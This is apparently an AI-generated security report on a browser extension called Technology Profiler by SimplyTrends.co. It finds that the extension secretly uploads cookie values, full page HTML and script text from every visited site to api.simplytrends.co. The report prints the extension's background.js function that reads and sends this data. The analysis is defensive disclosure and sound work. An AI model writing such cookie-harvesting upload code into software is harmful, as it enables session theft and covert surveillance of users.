Is Technology Profiler by SimplyTrends.co safe?
Technology Profiler by SimplyTrends.co is high risk. Code analysis shows the extension reads cookie values and the full HTML and script text of every page you visit, gzips them together, and POSTs the result to api.simplytrends.co. The listing describes only technology detection.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Uploads your page cookie values and full HTML to simplytrends.co on every visit
Code analysis shows the extension reads cookie values and the full HTML and script text of every page you visit, gzips them together, and POSTs the result to api.simplytrends.co.
The listing describes only technology detection.
You browse to any page with the extension installed and enabled.
The upload runs once the extension's injected on-page UI mounts, which happens automatically on the extension's polling loop, not on a user click.
The background worker reads that page's cookie values and full HTML, compresses them together, and uploads them to api.simplytrends.co.
This runs on every navigation to every site, not only pages related to the extension's stated purpose.
background.js: webtech_get folds cookie values and full page HTML into the uploaded payload
async function webtech_get(tabId, opts) {
// Ask the content script for the full rendered page.
const { data } = await sendMessageToTab(tabId, { action: "getHTML" });
const { html, text, overrides, cookies } = data; // cookies starts as {}
// Fetch the text of every inline/external script on the page.
const scriptTexts = await Promise.all(
opts.scriptList.map((src) => fetch(src).then((r) => r.text()).catch(() => null))
);
// Read the visited page's ACTUAL cookie values (not just names) and fold
// them into the same object that will be uploaded.
const rawCookies = await chrome.cookies.getAll({ url: opts.url });
rawCookies.forEach(({ name, value }) => {
cookies[name.toLowerCase()] = [value];
});
const payload = gzip(JSON.stringify({
...opts,
scriptTextList: scriptTexts.filter(Boolean),
innerHtml: html.replace(/[\n\t]/g, ""),
innerText: text,
cookies, // real cookie values, keyed by lowercased name
overrides
}));
const form = new FormData();
form.append("file", new Blob([payload], { type: "blob" }));
await fetch("https://api.simplytrends.co/1/web_tech/analyze_website_technology_from_wl", {
method: "POST",
body: form
});
}| Field | Value | Why it matters | |
|---|---|---|---|
Cookie values for the visited site | {"session": ["eyJhbGciOiJIUzI1NiJ9..."]} | Every cookie's actual value for the page you're on, which can include session tokens, not just cookie names. | |
Full page HTML | <html><body>...full page markup...</body></html> | The entire rendered DOM of the page you're viewing, including any form fields or content on it. | |
Visible page text | Sign in to your account... | The full visible text content of the page. | |
Inline and external script text | function login(){...} | The source of every script tag on the page, fetched and included in the upload. | |
Page URL and hostname | https://shop.example.com/checkout | The address of the page you visited, sent alongside everything above. |
- api.simplytrends.co
Receives the gzip-compressed page HTML, script text and cookie values for every page visited, sent by this extension under a technology-detection label.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.